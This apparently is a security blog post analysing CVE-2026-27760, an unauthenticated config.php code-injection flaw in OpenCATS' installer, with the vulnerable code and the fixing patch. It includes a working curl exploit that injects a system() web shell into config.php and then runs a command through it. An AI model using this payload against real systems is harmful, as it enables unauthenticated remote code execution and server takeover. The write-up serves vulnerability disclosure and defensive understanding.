//nefariousplan

CVE-2026-27760: OpenCATS' Install Lock Is a File Every Release Ships Without

patterns

cve

proof of concept

OpenCATS' installer is one AJAX endpoint that reads four POST parameters and writes them, by literal string concatenation, into the PHP source file that every entry point includes. The action is install:databaseConnectivity. The destination is config.php. The transformation is sprintf("define('%s', %s);", $name, "'" . $_REQUEST['user'] . "'"). The pattern has been in modules/install/ajax/ui.php since the file's Subversion $Id line was stamped on 2007-12-05.

The gate that keeps unauthenticated network callers out of that endpoint is the existence of a file named INSTALL_BLOCK in the application root. INSTALL_BLOCK is in .gitignore. INSTALL_BLOCK is excluded from the release tarball. The wizard creates the file at the end of a successful install, and the wizard's own help text instructs administrators to delete it whenever they want to re-enter the installer.

CVE-2026-27760 is what happens when the gate is the absence of a thing and the thing is the artifact every official release ships without.

The installer writes attacker input as PHP source

Pre-patch, the databaseConnectivity branch of modules/install/ajax/ui.php is forty lines of straight-line code. Four of them are the bug that CVE-2026-27760 names.

case 'databaseConnectivity':
    if (isset($_REQUEST['user']))
    {
        if (isset($_REQUEST['user']) && !empty($_REQUEST['user']))
        {
            CATSUtility::changeConfigSetting('DATABASE_USER', "'" . $_REQUEST['user'] . "'");
        }

        if (isset($_REQUEST['pass']) && $_REQUEST['pass'] !== '')
        {
            CATSUtility::changeConfigSetting('DATABASE_PASS', "'" . $_REQUEST['pass'] . "'");
        }

        if (isset($_REQUEST['host']) && !empty($_REQUEST['host']))
        {
            CATSUtility::changeConfigSetting('DATABASE_HOST', "'" . $_REQUEST['host'] . "'");
        }

        if (isset($_REQUEST['name']) && !empty($_REQUEST['name']))
        {
            CATSUtility::changeConfigSetting('DATABASE_NAME', "'" . $_REQUEST['name'] . "'");
        }

changeConfigSetting, in lib/CATSUtility.php, opens config.php, walks the file line by line, and rewrites every line beginning with define('<NAME>' using a sprintf template. The template is "define('%s', %s);". The second %s is the second argument to changeConfigSetting, which the caller above has constructed as "'" . $_REQUEST['user'] . "'".

$newconfig[] = sprintf("define('%s', %s);", $name, $value);

There is no escape. The single quotes the caller wraps around $_REQUEST['user'] are the only delimiter, and the destination is a PHP source file. A user value of admin'); system($_GET['c']); // produces the line:

define('DATABASE_USER', 'admin'); system($_GET['c']); //');

config.php is loaded via include_once('./config.php') at the top of ajax.php, of index.php, of every script the OpenCATS webroot exposes. The injection is not transient. The injection runs on the next HTTP request to the application and on every request after that, until somebody overwrites the line.

The exploit for CVE-2026-27760 is a curl command. No authentication, no session, no CSRF token.

curl -X POST 'https://target/ajax.php?f=install:databaseConnectivity' \
  --data $'a=databaseConnectivity&user=admin\'); system($_GET[\'c\']); //'

curl 'https://target/?c=id'

The lock is a file every release ships without

The thing that keeps unauthenticated callers from reaching that endpoint, when it does keep them out, is one file on the filesystem. The installer module's own auth check sits at the top of modules/install/ajax/ui.php:

/* Don't allow installation if ./INSTALL_BLOCK exists. */
if (file_exists('INSTALL_BLOCK'))
{
    echo '
        <script type="text/javascript">
            setActiveStep(1);
            showTextBlock(\'installLocked\');
        </script>';
    die();
}

The gate is a file_exists check against a literal string. If the file exists, the installer refuses. If it does not, the installer runs and writes whatever the request body asks it to write into config.php. The same file gates the wizard front-end at installwizard.php line 44:

if (!file_exists('INSTALL_BLOCK') && !isset($_POST['performMaintenence']))

That is the entirety of the auth design. No session, no token, no rate limit, no source-IP check. Either the file is on disk or it is not.

Three facts about that file. They are independent and they compound.

First, INSTALL_BLOCK is in .gitignore. It does not exist in the repository. Anyone cloning OpenCATS from source receives a tree whose installer is unlocked at git clone time.

$ cat .gitignore
INSTALL_BLOCK
...

Second, the project's release packaging script explicitly excludes INSTALL_BLOCK from the distribution tarball and the distribution zip. From ci/package-code.sh:

tar -czf /tmp/opencats-$TRAVIS_TAG-full.tar.gz --exclude=INSTALL_BLOCK -C $TRAVIS_BUILD_DIR .
zip -q -x INSTALL_BLOCK -r /tmp/opencats-$TRAVIS_TAG-full.zip $TRAVIS_BUILD_DIR

Every release ships with the lock removed. The shape is deliberate. A fresh install needs an unlocked installer because the installer is how a fresh install proceeds. The packaging script encodes that requirement in the release artifact.

Third, the wizard's own help text tells operators to delete INSTALL_BLOCK whenever they want to re-enter the installer. From installwizard.php line 415:

"The installer has finished installing OpenCATS! The installer has been disabled to prevent unauthorized access. To run the installer again, delete the file 'INSTALL_BLOCK' in your OpenCATS directory."

The documented user instruction for "I need to re-run the installer" is "go to the application directory and unlink the auth gate." Every documented re-installation scenario, every backup restore, every database swap, every "I forgot the admin password and need to start over," begins with the operator deleting the file that prevents unauthenticated network callers from rewriting config.php.

The lock does not ship in the codebase. The lock does not ship in the tarball. The operator is instructed to remove the lock by name when they want to administer the application. The auth contract is "do not be in any state we ever told you to be in."

ajax.php did not know the installer existed

The second half of commit 3002a29 lives in ajax.php, twenty-five lines added to the central AJAX dispatcher. Pre-patch, ajax.php was a general-purpose router. It read _REQUEST['f'], parsed it as module:function, and included modules/<module>/ajax/<function>.php. Any module. Any function. The dispatcher had no concept of installer state.

The patch teaches it one:

$installerActive = (!file_exists('INSTALL_BLOCK'));
if ($installerActive)
{
    $module = '';
    if (strpos($_REQUEST['f'], ':') !== false)
    {
        $parameters = explode(':', $_REQUEST['f']);
        $module = preg_replace("/[^A-Za-z0-9]/", "", $parameters[0]);
    }

    if ($module !== 'install')
    {
        header('Content-type: text/xml');
        echo '<?xml version="1.0" encoding="', AJAX_ENCODING, '"?>', "\n";
        echo(
            "<data>\n" .
            "    <errorcode>-1</errorcode>\n" .
            "    <errormessage>Installer is active. Only installer AJAX actions are allowed.</errormessage>\n" .
            "</data>\n"
        );

        die();
    }
}

The pre-patch dispatcher would happily dispatch to modules/candidates/ajax/edit.php, to modules/companies/ajax/delete.php, to any other handler in the module tree, while INSTALL_BLOCK was absent. Those handlers' own logic might bail because no session existed, or might not. The dispatcher did not care. The dispatcher's only check on the routed file was that is_readable($filename) returned true.

The fix is a global guard on the installer-active state. The shape of the fix tells you the team realized that the installer module's own if (file_exists('INSTALL_BLOCK')) check, the one at the top of ui.php, was always doing somebody else's job. The check was inside the installer, looking outward. The state the check was guarding was a property of the whole application. The other half of the patch is the dispatcher learning that the property exists.

var_export was the answer the language already shipped

The third part of the patch is the rewrite from string concatenation to var_export. Eight call sites change in the same shape across modules/install/ajax/ui.php:

- CATSUtility::changeConfigSetting('DATABASE_USER', "'" . $_REQUEST['user'] . "'");
+ CATSUtility::changeConfigSetting('DATABASE_USER', var_export($_REQUEST['user'], true));

var_export($x, true) returns a string representation of $x that is itself a valid PHP literal. A string with embedded single quotes comes back with the quotes escaped. A backslash comes back as two backslashes. The output is safe to drop into PHP source because the function's contract is that it always produces valid PHP source. It is the PHP equivalent of a prepared statement: the value crosses the source-language boundary through a function whose entire job is to keep the boundary intact.

var_export landed in PHP 4.2.0. The release date was April 22, 2002. The $Id line stamped at the top of modules/install/ajax/ui.php was committed on December 5, 2007, five years and seven months after var_export was available in every PHP runtime the file would ever run on. The 2007 author wrote "'" . $value . "'" instead. The 2026 patch is one function call replacing that line, eight times.

The function the patch reaches for had been in the language for the entirety of the bug's lifetime. The bug was not that the right tool did not exist. The bug was that the original author treated PHP-source generation as ordinary string interpolation. Single quotes plus concatenation. The string was the value; the quotes were the type. Once the author had decided that was how to write a literal, every value the application would ever push through changeConfigSetting was an injection sink, and the only thing keeping the sink quiet was whether attackers could reach the writer.

This is the content-is-command shape stated at the source-language layer. Four HTTP POST parameters are the content channel. PHP is the interpreter, reading config.php on every request through include_once. The bridge is four characters of escape envelope ("'" . $_ . "'") that assume the value belongs in single quotes and emit source that delimits it that way. PHP, given the resulting define('DATABASE_USER', 'admin'); system($_GET['c']); //');, does exactly what its spec says: one define call, one system call, one comment. The var_export rewrite is the codebase finally naming the boundary between content and command and reaching for the standard library function whose only job is to preserve it.

The execution path is config.php

This is also the unauth-write-to-execution-path pattern, with the execution path being the application's own configuration file. The exhibits in the catalog have so far been uploads directories: wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/ for Pix for WooCommerce CVE-2026-3891, wp-content/cache/breeze-extra/gravatars/ for Breeze Cache CVE-2026-3844, and a webroot directory inside the MFT itself for the CrushFTP and SAP NetWeaver instances. The architectural shape is identical: an unauthenticated POST, a write target the server executes from, no validation at the destination.

OpenCATS does not need an uploads directory because the file the attacker writes is config.php. The application includes config.php at the top of every entry script. The write is surgical: the changeConfigSetting function only rewrites lines that start with define('NAME'. There is no file to upload, no extension to validate, no MIME type to confuse. The attacker delivers PHP code that runs on the next page load because the function whose entire job is to mutate config.php does so by writing PHP source. The "execution path" the pattern usually names is a directory the server scans. Here the execution path is a single file the server includes on every request, and the write target is one line inside it.

The closest sibling exhibit is Nginx-UI CVE-2026-42238. That post describes an auth gate that is "a clock," reachable for ten minutes after process restart and on every fresh install. OpenCATS' gate is the same idea written in PHP and stored on disk: the auth check is "are we still pre-install," and "pre-install" is a state the application keeps re-entering. Both products treat the bootstrap window as a privileged area that defends itself by its own scope. Both treat the artifact that signals "bootstrap finished" as a flag the operator maintains, not a credential the runtime holds. The shape of the failure is the same. The container of the flag (a clock for Nginx-UI, a file for OpenCATS) is the only thing different.

PoC: opencats/OpenCATS@3002a29.

The lock that gates OpenCATS' installer ships, by design, in the open position.